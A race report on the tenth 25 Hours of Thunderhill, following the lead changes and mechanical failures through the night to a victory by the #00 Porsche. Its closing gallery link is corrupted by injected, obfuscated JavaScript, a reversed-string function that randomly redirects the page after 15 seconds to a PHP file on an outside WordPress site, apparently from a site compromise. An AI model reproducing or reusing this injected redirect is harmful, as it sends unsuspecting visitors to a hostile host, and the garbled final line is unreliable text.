At the start, the #64 Porsche of Johannes van Overbeek was able to make the jump on the Factory 48 Radical SR3 on pole and head the 70 car field into turn one, the sister #00 car following closely behind.
The front wheel drive Audi TTRS kept pace with the two Porsches during the early stages of the race, assuming the lead when a severed brake line sent the #64 Porsche off-track at turn 10. It took a while for the car to be recovered and taken back to the pits.
Repairs were done and the car was sent back out on track, albeit 25 laps down on the leaders. Soon the leading Audi experienced transmission failure and the car had to be parked, thus allowing the Factory 48 Radical back into the lead.
Eight hours in, the Radical entered pitroad with engine issues. The team was forced to change the entire engine, dropping them right down the field and many laps of the lead. The #66 Chevy Silverado of Lynam Racing took over at the front, holding the lead far into the night but with both Porsches – now back in the field – quickly making up their lost laps.
The Stammer Inc BMW M3 took over the lead at one point during the dark hours, but electrical problems forced the car in for repairs around 4am, handing the prime spot back to the #64 Porsche, which had been battling all night to make up lost time.
As the sun began to rise, the #64 Porsche experienced motor mount failure, releasing the #00 Porsche as repairs were made. For the next few hours until the 12:00 finish, the #64 car tried to chase down the #00 entry, but eventually suffered driveline and ECU failure.
The #00 Motorsport Solutions/Ehret Vineyards Porsche driven by Pierre Ehret, Anthony Ward, Memo Gidley, and Christian Bollrath took victory having completed 651 laps (1953 miles/over 3000 kilometres). The #18 Davidson Racing RCR Eagle took second overall followed by the #48 Factory 48 Radical in third.
The tenth annual running of the 25hrs of Thunderhill did not disappoint.
– Be sure to check out Camden Thrasher‘s $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/2012-25hrs-of-thunderhill/” target=”_blank”>full gallery from Thunderhill HERE.
